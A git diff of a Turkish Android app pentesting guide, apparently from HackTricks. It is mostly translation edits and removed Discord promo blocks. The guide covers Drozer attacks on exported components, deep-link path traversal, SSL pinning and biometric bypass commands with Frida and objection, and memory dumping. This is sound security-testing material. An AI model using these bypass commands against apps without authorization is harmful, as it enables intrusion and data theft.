[**mariana-trench**](https://github.com/facebook/mariana-trench) aracı, uygulamanın **kodunu tarayarak** **zayıflıkları** bulma yeteneğine sahiptir. Bu araç, **kullanıcı tarafından kontrol edilen** **giriş** yerlerini gösteren bir dizi **bilinen kaynak** (kaynaklar), kötü niyetli kullanıcı girişinin zarar verebileceği **tehlikeli** **yerleri** gösteren **sinkler** ve **kurallar** içerir. Bu kurallar, bir zayıflığı gösteren **kaynak-sink kombinasyonunu** belirtir.
|
||||
[**mariana-trench**](https://github.com/facebook/mariana-trench) aracı, uygulamanın **kodunu tarayarak** **zayıflıkları** bulma yeteneğine sahiptir. Bu araç, **kullanıcı tarafından kontrol edilen** **giriş** yerlerini gösteren bir dizi **bilinen kaynak** (kaynaklar), kötü niyetli kullanıcı girişinin zarar verebileceği **tehlikeli** **yerleri** gösteren **sinkler** ve **kurallar** içerir. Bu kurallar, bir zayıflığı gösteren **kaynak-sink kombinasyonlarını** belirtir.
|
||||
|
||||
Bu bilgiyle, **mariana-trench kodu gözden geçirecek ve olası zayıflıkları bulacaktır**.
|
||||
|
||||
@ -215,7 +200,7 @@ bypass-biometric-authentication-android.md
|
||||
- **Kod yürütme**: `Runtime.exec(), ProcessBuilder(), native code:system()`
|
||||
- **SMS Gönderme**: `sendTextMessage, sendMultipartTestMessage`
|
||||
- **Native fonksiyonlar** `native` olarak tanımlanır: `public native, System.loadLibrary, System.load`
|
||||
- [Native fonksiyonları **tersine çevirmeyi öğrenmek için bunu okuyun**](reversing-native-libraries.md)
|
||||
- [Native fonksiyonları **tersine mühendislik yapmayı öğrenmek için bunu okuyun**](reversing-native-libraries.md)
|
||||
|
||||
### **Diğer Hileler**
|
||||
|
||||
@ -225,21 +210,6 @@ content-protocol.md
|
||||
|
||||
---
|
||||
|
||||
<figure><img src="../../images/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
|
||||
|
||||
**Hacking İçgörüleri**\
|
||||
Hacking'in heyecanı ve zorluklarına dalan içeriklerle etkileşimde bulunun
|
||||
|
||||
**Gerçek Zamanlı Hack Haberleri**\
|
||||
Hızla değişen hacking dünyasında gerçek zamanlı haberler ve içgörülerle güncel kalın
|
||||
|
||||
**Son Duyurular**\
|
||||
Yeni başlayan bug bounty'ler ve önemli platform güncellemeleri hakkında bilgi sahibi olun
|
||||
|
||||
Bugün en iyi hackerlarla işbirliği yapmak için [**Discord**](https://discord.com/invite/N3FrSbmwdy) sunucumuza katılın!
|
||||
|
||||
---
|
||||
|
||||
## Dinamik Analiz
|
||||
@ -260,20 +230,20 @@ ADB bağlantısı sayesinde, emülatörler içinde **Drozer** ve **Frida** kulla
|
||||
|
||||
#### Bir emülatör kullanarak
|
||||
|
||||
- [**Android Studio**](https://developer.android.com/studio) ( **x86** ve **arm** cihazlar oluşturabilirsiniz ve [**bu**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**en son x86** sürümleri **ARM kütüphanelerini** yavaş bir arm emülatörüne ihtiyaç duymadan destekler).
|
||||
- Bunu ayarlamayı öğrenmek için bu sayfayı okuyun:
|
||||
- [**Android Studio**](https://developer.android.com/studio) (x86 ve arm cihazlar oluşturabilirsiniz ve [**bu**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**son x86** sürümleri ARM kütüphanelerini yavaş bir arm emülatörüne ihtiyaç duymadan destekler).
|
||||
- Kurulumunu bu sayfada öğrenin:
|
||||
|
||||
{{#ref}}
|
||||
avd-android-virtual-device.md
|
||||
{{#endref}}
|
||||
|
||||
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Ücretsiz sürüm:** Kişisel Sürüm, bir hesap oluşturmanız gerekir. _Potansiyel hataları önlemek için **VirtualBox ile** sürümü **indirmeyi** öneririz._)
|
||||
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Ücretsiz sürüm:** Kişisel Sürüm, bir hesap oluşturmanız gerekir. _Potansiyel hataları önlemek için **VirtualBox** ile birlikte sürümü **indirin** önerilir._)
|
||||
- [**Nox**](https://es.bignox.com) (Ücretsiz, ancak Frida veya Drozer'ı desteklemez).
|
||||
|
||||
> [!NOTE]
|
||||
> Herhangi bir platformda yeni bir emülatör oluştururken, ekran ne kadar büyükse, emülatör o kadar yavaş çalışır. Bu nedenle, mümkünse küçük ekranlar seçin.
|
||||
|
||||
Genymotion'da **Google hizmetlerini** (AppStore gibi) yüklemek için aşağıdaki resmin kırmızı ile işaretlenmiş butonuna tıklamanız gerekir:
|
||||
Genymotion'da **Google hizmetlerini** (AppStore gibi) kurmak için aşağıdaki resmin kırmızı ile işaretlenmiş butonuna tıklamanız gerekir:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -281,7 +251,7 @@ Ayrıca, Genymotion'daki **Android VM yapılandırmasında** **Bridge Network mo
|
||||
|
||||
#### Fiziksel bir cihaz kullanma
|
||||
|
||||
**hata ayıklama** seçeneklerini etkinleştirmeniz gerekir ve cihazı **köklemek** iyi olur:
|
||||
**Hata ayıklama** seçeneklerini etkinleştirmeniz gerekir ve cihazı **köklemek** iyi olur:
|
||||
|
||||
1. **Ayarlar**.
|
||||
2. (Android 8.0'dan itibaren) **Sistem**'i seçin.
|
||||
@ -289,26 +259,26 @@ Ayrıca, Genymotion'daki **Android VM yapılandırmasında** **Bridge Network mo
|
||||
4. **Build numarasına** 7 kez basın.
|
||||
5. Geri dönün ve **Geliştirici seçeneklerini** bulacaksınız.
|
||||
|
||||
> Uygulamayı yükledikten sonra yapmanız gereken ilk şey, onu denemek ve ne yaptığını, nasıl çalıştığını araştırmak ve onunla rahat olmaktır.\
|
||||
> Bu ilk dinamik analizi **MobSF dinamik analizi + pidcat** kullanarak yapmanızı öneririm, böylece **uygulamanın nasıl çalıştığını öğrenebiliriz** ve MobSF **ilginç** **verileri** toplarken daha sonra gözden geçirebiliriz.
|
||||
> Uygulamayı kurduktan sonra yapmanız gereken ilk şey, onu denemek ve ne yaptığını, nasıl çalıştığını araştırmak ve onunla rahat olmaktır.\
|
||||
> **MobSF dinamik analizi + pidcat** kullanarak bu ilk dinamik analizi gerçekleştirmenizi öneririm, böylece **uygulamanın nasıl çalıştığını öğrenebiliriz** ve MobSF **ilginç** **verileri** toplarken daha sonra gözden geçirebilirsiniz.
|
||||
|
||||
### İstenmeyen Veri Sızıntısı
|
||||
|
||||
**Günlükleme**
|
||||
|
||||
Geliştiriciler, **hata ayıklama bilgilerini** kamuya açık bir şekilde ifşa etmekten kaçınmalıdır, çünkü bu hassas veri sızıntılarına yol açabilir. Uygulama günlüklerini izlemek ve hassas bilgileri korumak için [**pidcat**](https://github.com/JakeWharton/pidcat) ve `adb logcat` araçları önerilir. **Pidcat**, kullanım kolaylığı ve okunabilirliği nedeniyle tercih edilmektedir.
|
||||
Geliştiriciler, **hata ayıklama bilgilerini** kamuya açık bir şekilde ifşa etme konusunda dikkatli olmalıdır, çünkü bu hassas veri sızıntılarına yol açabilir. Uygulama günlüklerini izlemek ve hassas bilgileri korumak için [**pidcat**](https://github.com/JakeWharton/pidcat) ve `adb logcat` araçları önerilir. **Pidcat**, kullanım kolaylığı ve okunabilirliği nedeniyle tercih edilmektedir.
|
||||
|
||||
> [!WARNING]
|
||||
> **Android 4.0'dan** daha yeni sürümlerden itibaren, **uygulamalar yalnızca kendi günlüklerine erişebilir**. Yani uygulamalar diğer uygulamaların günlüklerine erişemez.\
|
||||
> Yine de, **hassas bilgileri günlüğe kaydetmemek** önerilir.
|
||||
> **Android 4.0'dan** itibaren, **uygulamalar yalnızca kendi günlüklerine erişebilir**. Yani uygulamalar diğer uygulamaların günlüklerine erişemez.\
|
||||
> Yine de, **hassas bilgileri günlüklememek** önerilir.
|
||||
|
||||
**Kopyala/Yapıştır Tamponu Önbellekleme**
|
||||
|
||||
Android'in **panoya dayalı** çerçevesi, uygulamalarda kopyala-yapıştır işlevselliği sağlar, ancak **diğer uygulamalar** panoya **erişebildiği** için hassas verilerin açığa çıkma riski taşır. Hassas bölümler için kopyala/yapıştır işlevlerini devre dışı bırakmak, kredi kartı bilgileri gibi, veri sızıntılarını önlemek için kritik öneme sahiptir.
|
||||
Android'in **panoya dayalı** çerçevesi, uygulamalarda kopyala-yapıştır işlevselliği sağlar, ancak **diğer uygulamalar** panoya erişebildiğinden hassas verilerin açığa çıkma riski taşır. Hassas bölümler için kopyala/yapıştır işlevlerini devre dışı bırakmak, kredi kartı bilgileri gibi veri sızıntılarını önlemek için kritik öneme sahiptir.
|
||||
|
||||
**Çökme Günlükleri**
|
||||
|
||||
Bir uygulama **çöker** ve **günlükleri kaydederse**, bu günlükler saldırganlara yardımcı olabilir, özellikle uygulama tersine mühendislik ile çözülemezse. Bu riski azaltmak için, çökme durumunda günlük kaydetmekten kaçının ve eğer günlükler ağ üzerinden iletilmesi gerekiyorsa, güvenlik için SSL kanalı üzerinden gönderildiğinden emin olun.
|
||||
Bir uygulama **çökerse** ve **günlükleri kaydederse**, bu günlükler saldırganlara yardımcı olabilir, özellikle uygulama tersine mühendislik ile çözülemezse. Bu riski azaltmak için, çökme durumunda günlük kaydetmekten kaçının ve eğer günlükler ağ üzerinden iletilmesi gerekiyorsa, güvenlik için SSL kanalı üzerinden gönderildiğinden emin olun.
|
||||
|
||||
Pentester olarak, **bu günlükleri gözden geçirmeye çalışın**.
|
||||
|
||||
@ -319,7 +289,7 @@ Uygulamalar genellikle Google Adsense gibi hizmetleri entegre eder, bu da geliş
|
||||
### SQLite DB'leri
|
||||
|
||||
Çoğu uygulama, bilgileri saklamak için **içsel SQLite veritabanları** kullanır. Pentest sırasında oluşturulan **veritabanlarına**, **tabloların** ve **sütunların** adlarına ve saklanan tüm **verilere** bir **göz atın** çünkü **hassas bilgiler** bulabilirsiniz (bu bir zayıflık olacaktır).\
|
||||
Veritabanları `/data/data/the.package.name/databases` içinde yer almalıdır, örneğin `/data/data/com.mwr.example.sieve/databases`.
|
||||
Veritabanları `/data/data/the.package.name/databases` gibi `/data/data/com.mwr.example.sieve/databases` konumunda bulunmalıdır.
|
||||
|
||||
Eğer veritabanı gizli bilgileri saklıyorsa ve **şifrelenmişse** ancak uygulama içinde **şifreyi bulabiliyorsanız**, bu hala bir **zayıflıktır**.
|
||||
|
||||
@ -327,24 +297,24 @@ Tabloları `.tables` ile listeleyin ve tabloların sütunlarını `.schema <tabl
|
||||
|
||||
### Drozer (Saldırı Aktiviteleri, İçerik Sağlayıcıları ve Servisler)
|
||||
|
||||
[Drozer Belgeleri](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf)'nden: **Drozer**, bir Android uygulamasının rolünü üstlenmenizi ve diğer uygulamalarla etkileşimde bulunmanızı sağlar. Yüklenmiş bir uygulamanın yapabileceği her şeyi yapabilir, örneğin Android’in Araçlar Arası İletişim (IPC) mekanizmasını kullanabilir ve altındaki işletim sistemi ile etkileşimde bulunabilir.\
|
||||
Drozer, **ihracat edilmiş aktiviteleri, ihracat edilmiş servisleri ve İçerik Sağlayıcıları** istismar etmek için faydalı bir araçtır, bunu aşağıdaki bölümlerde öğreneceksiniz.
|
||||
[Drozer Belgeleri](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf)'nden: **Drozer**, bir Android uygulamasının rolünü üstlenmenizi ve diğer uygulamalarla etkileşimde bulunmanızı sağlar. Yüklenmiş bir uygulamanın yapabileceği her şeyi yapabilir, örneğin Android’in Araçlar Arası İletişim (IPC) mekanizmasını kullanabilir ve işletim sistemi ile etkileşimde bulunabilir.\
|
||||
Drozer, **ihracat yapılmış aktiviteleri, ihracat yapılmış servisleri ve İçerik Sağlayıcıları** istismar etmek için faydalı bir araçtır, bunu aşağıdaki bölümlerde öğreneceksiniz.
|
||||
|
||||
### İhracat Edilmiş Aktiviteleri İstismar Etme
|
||||
### İhracat Yapılmış Aktiviteleri İstismar Etme
|
||||
|
||||
[**Bir Android Aktivitesinin ne olduğunu tazelemek istiyorsanız bunu okuyun.**](android-applications-basics.md#launcher-activity-and-other-activities)\
|
||||
Ayrıca, bir aktivitenin kodunun **`onCreate`** metodunda başladığını unutmayın.
|
||||
|
||||
**Yetkilendirme atlatma**
|
||||
|
||||
Bir Aktivite ihracat edildiğinde, dış bir uygulamadan ekranını çağırabilirsiniz. Bu nedenle, **hassas bilgileri** içeren bir aktivite **ihracat edilmişse**, **kimlik doğrulama** mekanizmalarını **atlatabilirsiniz**.
|
||||
Bir Aktivite ihracat yapıldığında, dış bir uygulamadan ekranını çağırabilirsiniz. Bu nedenle, **hassas bilgileri** içeren bir aktivite **ihracat** edilmişse, **kimlik doğrulama** mekanizmalarını **atlatabilirsiniz.**
|
||||
|
||||
[**Drozer ile ihracat edilmiş aktiviteleri nasıl istismar edeceğinizi öğrenin.**](drozer-tutorial/#activities)
|
||||
[**Drozer ile ihracat yapılmış aktiviteleri nasıl istismar edeceğinizi öğrenin.**](drozer-tutorial/#activities)
|
||||
|
||||
Ayrıca, adb'den ihracat edilmiş bir aktivite başlatabilirsiniz:
|
||||
Ayrıca, adb'den bir ihracat yapılmış aktivite başlatabilirsiniz:
|
||||
|
||||
- Paket Adı com.example.demo
|
||||
- İhracat Edilmiş Aktivite Adı com.example.test.MainActivity
|
||||
- İhracat Yapılmış Aktivite Adı com.example.test.MainActivity
|
||||
```bash
|
||||
adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
```
|
||||
@ -364,29 +334,29 @@ Eğer tapjacking engellenmezse, dışa aktarılmış aktiviteyi **kullanıcını
|
||||
### İçerik Sağlayıcılarını Sömürme - Hassas bilgilere erişim ve manipülasyon
|
||||
|
||||
[**Bir İçerik Sağlayıcının ne olduğunu tazelemek istiyorsanız bunu okuyun.**](android-applications-basics.md#content-provider)\
|
||||
İçerik sağlayıcılar temelde **veri paylaşmak** için kullanılır. Eğer bir uygulamada mevcut içerik sağlayıcılar varsa, onlardan **hassas** verileri **çıkartma** imkanınız olabilir. Ayrıca, olası **SQL enjeksiyonlarını** ve **Path Traversals** test etmek de ilginçtir çünkü bunlar zayıf olabilir.
|
||||
İçerik sağlayıcıları temelde **veri paylaşmak** için kullanılır. Eğer bir uygulamada mevcut içerik sağlayıcılar varsa, onlardan **hassas** verileri **çıkarma** imkanınız olabilir. Ayrıca olası **SQL enjeksiyonlarını** ve **Path Traversals**'ı test etmek de ilginçtir çünkü bunlar zayıf olabilir.
|
||||
|
||||
[**Drozer ile İçerik Sağlayıcıları nasıl sömüreceğinizi öğrenin.**](drozer-tutorial/#content-providers)
|
||||
|
||||
### **Hizmetleri Sömürme**
|
||||
|
||||
[**Bir Servisin ne olduğunu tazelemek istiyorsanız bunu okuyun.**](android-applications-basics.md#services)\
|
||||
Bir Servisin eylemlerinin `onStartCommand` metodunda başladığını unutmayın.
|
||||
[**Bir Hizmetin ne olduğunu tazelemek istiyorsanız bunu okuyun.**](android-applications-basics.md#services)\
|
||||
Bir Hizmetin eylemlerinin `onStartCommand` metodunda başladığını unutmayın.
|
||||
|
||||
Servis, temelde **veri alabilen**, **işleyebilen** ve **bir yanıt döndüren** (ya da döndürmeyen) bir şeydir. Dolayısıyla, bir uygulama bazı hizmetleri dışa aktarıyorsa, ne yaptığını anlamak için **kodunu kontrol etmeli** ve gizli bilgileri çıkartmak, kimlik doğrulama önlemlerini atlamak için **dinamik olarak test etmelisiniz**...\
|
||||
Hizmet, temelde **veri alabilen**, **işleyebilen** ve **bir yanıt döndüren** (ya da döndürmeyen) bir şeydir. Dolayısıyla, bir uygulama bazı hizmetleri dışa aktarıyorsa, ne yaptığını anlamak için **kodunu kontrol etmeli** ve gizli bilgileri çıkarmak, kimlik doğrulama önlemlerini atlamak için **dinamik olarak test etmelisiniz**...\
|
||||
[**Drozer ile Hizmetleri nasıl sömüreceğinizi öğrenin.**](drozer-tutorial/#services)
|
||||
|
||||
### **Yayın Alıcılarını Sömürme**
|
||||
### **Broadcast Alıcılarını Sömürme**
|
||||
|
||||
[**Bir Yayın Alıcısının ne olduğunu tazelemek istiyorsanız bunu okuyun.**](android-applications-basics.md#broadcast-receivers)\
|
||||
Bir Yayın Alıcısının eylemlerinin `onReceive` metodunda başladığını unutmayın.
|
||||
[**Bir Broadcast Alıcının ne olduğunu tazelemek istiyorsanız bunu okuyun.**](android-applications-basics.md#broadcast-receivers)\
|
||||
Bir Broadcast Alıcının eylemlerinin `onReceive` metodunda başladığını unutmayın.
|
||||
|
||||
Bir yayın alıcısı bir tür mesaj bekleyecektir. Alıcının mesajı nasıl işlediğine bağlı olarak, zayıf olabilir.\
|
||||
[**Drozer ile Yayın Alıcılarını nasıl sömüreceğinizi öğrenin.**](./#exploiting-broadcast-receivers)
|
||||
Bir yayın alıcısı bir tür mesaj bekleyecektir. Alıcının mesajı nasıl işlediğine bağlı olarak zayıf olabilir.\
|
||||
[**Drozer ile Broadcast Alıcılarını nasıl sömüreceğinizi öğrenin.**](./#exploiting-broadcast-receivers)
|
||||
|
||||
### **Şemaları / Derin bağlantıları Sömürme**
|
||||
|
||||
Derin bağlantıları manuel olarak, MobSF gibi araçlar veya [bu](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py) gibi betikler kullanarak arayabilirsiniz.\
|
||||
Derin bağlantıları manuel olarak, MobSF gibi araçlar veya [bu script](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py) gibi scriptler kullanarak arayabilirsiniz.\
|
||||
Bir tanımlı **şemayı** **adb** veya bir **tarayıcı** kullanarak **açabilirsiniz**:
|
||||
```bash
|
||||
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
|
||||
@ -400,7 +370,7 @@ _Not edin ki **paket adını atlayabilirsiniz** ve mobil otomatik olarak o bağl
|
||||
```
|
||||
**Kod çalıştırıldı**
|
||||
|
||||
Uygulamada **çalıştırılacak kodu** bulmak için, derin bağlantıyla çağrılan aktiviteye gidin ve **`onNewIntent`** fonksiyonunu arayın.
|
||||
Uygulamada **çalıştırılacak kodu bulmak için**, derin bağlantıyla çağrılan aktiviteye gidin ve **`onNewIntent`** fonksiyonunu arayın.
|
||||
|
||||
 (1) (1) (1).png>)
|
||||
|
||||
@ -410,7 +380,7 @@ Her derin bağlantı bulduğunuzda, **URL parametreleri aracılığıyla hassas
|
||||
|
||||
**Yolda parametreler**
|
||||
|
||||
**URL'nin yolunda bir parametre kullanan herhangi bir derin bağlantıyı da kontrol etmelisiniz**; örneğin: `https://api.example.com/v1/users/{username}`. Bu durumda, bir yol geçişi zorlayarak şuna erişebilirsiniz: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
|
||||
**URL'nin yolunda bir parametre kullanılıp kullanılmadığını da kontrol etmelisiniz**; örneğin: `https://api.example.com/v1/users/{username}`. Bu durumda, bir yol geçişi zorlayarak şuna erişebilirsiniz: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
|
||||
Uygulama içinde doğru uç noktaları bulursanız, **Açık Yönlendirme** (eğer yolun bir kısmı alan adı olarak kullanılıyorsa), **hesap ele geçirme** (eğer kullanıcı detaylarını CSRF token olmadan değiştirebiliyorsanız ve zayıf uç nokta doğru yöntemi kullanıyorsa) ve diğer zayıflıkları tetikleyebilirsiniz. Daha fazla [bilgi burada](http://dphoeniixx.com/2020/12/13-2/).
|
||||
|
||||
**Daha fazla örnek**
|
||||
@ -433,7 +403,7 @@ SSL Pinning, uygulamanın sunucunun sertifikasını uygulama içinde saklanan bi
|
||||
|
||||
#### Trafik İncelemesi
|
||||
|
||||
HTTP trafiğini incelemek için, **proxy aracının sertifikasını yüklemek** gereklidir (örneğin, Burp). Bu sertifikayı yüklemeden, şifreli trafik proxy üzerinden görünmeyebilir. Özel CA sertifikası yükleme rehberi için, [**buraya tıklayın**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
|
||||
HTTP trafiğini incelemek için, **proxy aracının sertifikasını yüklemek** gereklidir (örneğin, Burp). Bu sertifika yüklenmeden, şifreli trafik proxy üzerinden görünmeyebilir. Özel CA sertifikası yükleme rehberi için, [**buraya tıklayın**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
|
||||
|
||||
**API Seviye 24 ve üzeri** hedefleyen uygulamalar, proxy'nin CA sertifikasını kabul etmek için Ağ Güvenliği Yapılandırmasında değişiklikler gerektirir. Bu adım, şifreli trafiği incelemek için kritik öneme sahiptir. Ağ Güvenliği Yapılandırmasını değiştirme talimatları için, [**bu eğitime başvurun**](make-apk-accept-ca-certificate.md).
|
||||
|
||||
@ -442,7 +412,7 @@ HTTP trafiğini incelemek için, **proxy aracının sertifikasını yüklemek**
|
||||
SSL Pinning uygulandığında, HTTPS trafiğini incelemek için bunu atlatmak gerekli hale gelir. Bu amaçla çeşitli yöntemler mevcuttur:
|
||||
|
||||
- **apk'yi otomatik olarak değiştirerek** SSL Pinning'i [**apk-mitm**](https://github.com/shroudedcode/apk-mitm) ile **atlatabilirsiniz**. Bu seçeneğin en iyi yanı, SSL Pinning'i atlatmak için root'a ihtiyacınız olmamasıdır, ancak uygulamayı silip yeni olanı yeniden yüklemeniz gerekecek ve bu her zaman işe yaramayabilir.
|
||||
- Bu korumayı atlatmak için **Frida** kullanabilirsiniz (aşağıda tartışılmıştır). Burp+Frida+Genymotion kullanma rehberiniz burada: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
- Bu korumayı atlatmak için **Frida** kullanabilirsiniz (aşağıda tartışılmaktadır). Burp+Frida+Genymotion kullanma rehberiniz burada: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
- **SSL Pinning'i otomatik olarak atlatmayı** [**objection**](frida-tutorial/objection-tutorial.md)** ile deneyebilirsiniz:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
- **MobSF dinamik analizi** kullanarak da **SSL Pinning'i otomatik olarak atlatmayı** deneyebilirsiniz (aşağıda açıklanmıştır).
|
||||
- Hala yakalamadığınız bir trafik olduğunu düşünüyorsanız, trafiği **iptables kullanarak burp'a yönlendirmeyi** deneyebilirsiniz. Bu blogu okuyun: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
|
||||
@ -461,7 +431,7 @@ Android uygulamalarını pentest etmek istiyorsanız, Frida'yı nasıl kullanaca
|
||||
- Frida ile eylemler için bazı "GUI": [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
|
||||
- Ojection, Frida kullanımını otomatikleştirmek için harikadır: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
|
||||
- Burada bazı harika Frida betikleri bulabilirsiniz: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
- Frida'yı [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) adresinde belirtildiği gibi yükleyerek anti-debugging / anti-frida mekanizmalarını atlatmayı deneyin (araç [linjector](https://github.com/erfur/linjector-rs)).
|
||||
- Frida'yı [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) adresinde belirtildiği gibi yükleyerek anti-debugging / anti-frida mekanizmalarını atlatmayı deneyin (araç [linjector](https://github.com/erfur/linjector-rs))
|
||||
|
||||
### **Belleği Dökme - Fridump**
|
||||
|
||||
@ -476,13 +446,13 @@ python3 fridump3.py -u <PID>
|
||||
frida-ps -Uai
|
||||
python3 fridump3.py -u "<Name>"
|
||||
```
|
||||
Bu, ./dump klasöründe belleği dökecektir ve orada şunlarla grep yapabilirsiniz:
|
||||
Bu, ./dump klasöründeki belleği dökecektir ve orada şunlarla grep yapabilirsiniz:
|
||||
```bash
|
||||
strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$"
|
||||
```
|
||||
### **Keystore'daki Hassas Veriler**
|
||||
|
||||
Android'de Keystore, hassas verileri saklamak için en iyi yerdir, ancak yeterli ayrıcalıklara sahip olunduğunda **erişmek mümkündür**. Uygulamalar burada genellikle **hassas verileri düz metin olarak** sakladığından, pentestler bunun için root kullanıcı olarak kontrol edilmelidir veya cihaza fiziksel erişimi olan birisi bu verileri çalabilir.
|
||||
Android'de Keystore, hassas verileri saklamak için en iyi yerdir, ancak yeterli ayrıcalıklara sahip olunduğunda **erişmek mümkündür**. Uygulamalar burada **hassas verileri düz metin olarak** saklama eğiliminde olduğundan, pentestler bunun için root kullanıcı olarak kontrol edilmelidir veya cihaza fiziksel erişimi olan birisi bu verileri çalabilir.
|
||||
|
||||
Bir uygulama verileri keystore'da saklasa bile, verilerin şifrelenmiş olması gerekir.
|
||||
|
||||
@ -498,13 +468,13 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
|
||||
```
|
||||
### **Arka Plan Görüntüleri**
|
||||
|
||||
Bir uygulamayı arka plana aldığınızda, Android **uygulamanın bir anlık görüntüsünü** saklar, böylece ön plana geri döndüğünde, uygulama yüklenmeden önce görüntüyü yüklemeye başlar, bu da uygulamanın daha hızlı yüklendiği izlenimini verir.
|
||||
Bir uygulamayı arka plana aldığınızda, Android **uygulamanın bir anlık görüntüsünü** saklar, böylece ön plana geri döndüğünde, uygulamadan önce görüntüyü yüklemeye başlar, bu da uygulamanın daha hızlı yüklendiği izlenimini verir.
|
||||
|
||||
Ancak, bu anlık görüntü **hassas bilgiler** içeriyorsa, anlık görüntüye erişimi olan biri bu bilgileri **çalıp alabilir** (erişim için root gereklidir).
|
||||
Ancak, bu anlık görüntü **hassas bilgiler** içeriyorsa, anlık görüntüye erişimi olan biri bu bilgileri **çalıp alabilir** (erişmek için root gereklidir).
|
||||
|
||||
Anlık görüntüler genellikle şurada saklanır: **`/data/system_ce/0/snapshots`**
|
||||
|
||||
Android, **FLAG_SECURE** düzen parametresini ayarlayarak ekran görüntüsü alımını **önlemenin** bir yolunu sunar. Bu bayrağı kullanarak, pencere içeriği güvenli olarak kabul edilir, bu da ekran görüntülerinde görünmesini veya güvenli olmayan ekranlarda görüntülenmesini engeller.
|
||||
Android, **FLAG_SECURE** düzen parametresini ayarlayarak ekran görüntüsü alımını **önlemenin** bir yolunu sağlar. Bu bayrağı kullanarak, pencere içeriği güvenli olarak kabul edilir, bu da ekran görüntülerinde görünmesini veya güvenli olmayan ekranlarda görüntülenmesini engeller.
|
||||
```bash
|
||||
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
```
|
||||
@ -516,12 +486,12 @@ Bu araç, dinamik analiz sırasında farklı araçları yönetmenize yardımcı
|
||||
|
||||
Geliştiriciler genellikle bu Intents'leri işleyen ve `startActivity(...)` veya `sendBroadcast(...)` gibi yöntemlere ileten proxy bileşenleri, aktiviteleri, hizmetleri ve yayın alıcıları oluştururlar; bu da riskli olabilir.
|
||||
|
||||
Tehlike, saldırganların bu Intents'leri yanlış yönlendirerek dışa aktarılmamış uygulama bileşenlerini tetiklemelerine veya hassas içerik sağlayıcılarına erişmelerine izin vermekte yatmaktadır. Dikkate değer bir örnek, URL'leri `Intent` nesnelerine dönüştüren `WebView` bileşenidir; bu, potansiyel olarak kötü niyetli Intent enjeksiyonlarına yol açabilir.
|
||||
Tehlike, saldırganların bu Intents'leri yanlış yönlendirerek dışa aktarılmamış uygulama bileşenlerini tetiklemelerine veya hassas içerik sağlayıcılarına erişmelerine izin vermekte yatmaktadır. Dikkate değer bir örnek, URL'leri `Intent` nesnelerine dönüştüren `WebView` bileşenidir; `Intent.parseUri(...)` aracılığıyla bunları işleyip çalıştırabilir, bu da kötü niyetli Intent enjeksiyonlarına yol açabilir.
|
||||
|
||||
### Temel Çıkarımlar
|
||||
|
||||
- **Intent Enjeksiyonu**, webin Açık Yönlendirme sorununa benzer.
|
||||
- Sömürü, `Intent` nesnelerini ekstra olarak geçirmeyi içerir; bu, güvensiz işlemleri yürütmek için yönlendirilebilir.
|
||||
- Sömürü, `Intent` nesnelerini ekstra olarak geçirmeyi içerir; bu da güvensiz işlemleri gerçekleştirmek için yönlendirilebilir.
|
||||
- Dışa aktarılmamış bileşenleri ve içerik sağlayıcılarını saldırganlara açabilir.
|
||||
- `WebView`’in URL'den `Intent` dönüşümü, istenmeyen eylemleri kolaylaştırabilir.
|
||||
|
||||
@ -537,21 +507,6 @@ Bu tür zafiyetler hakkında Web'den haberdar olmalısınız. Bir Android uygula
|
||||
|
||||
---
|
||||
|
||||
<figure><img src="../../images/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Deneyimli hackerlar ve hata ödülü avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
|
||||
|
||||
**Hacking İçgörüleri**\
|
||||
Hacking'in heyecanı ve zorluklarına dalan içeriklerle etkileşimde bulunun.
|
||||
|
||||
**Gerçek Zamanlı Hack Haberleri**\
|
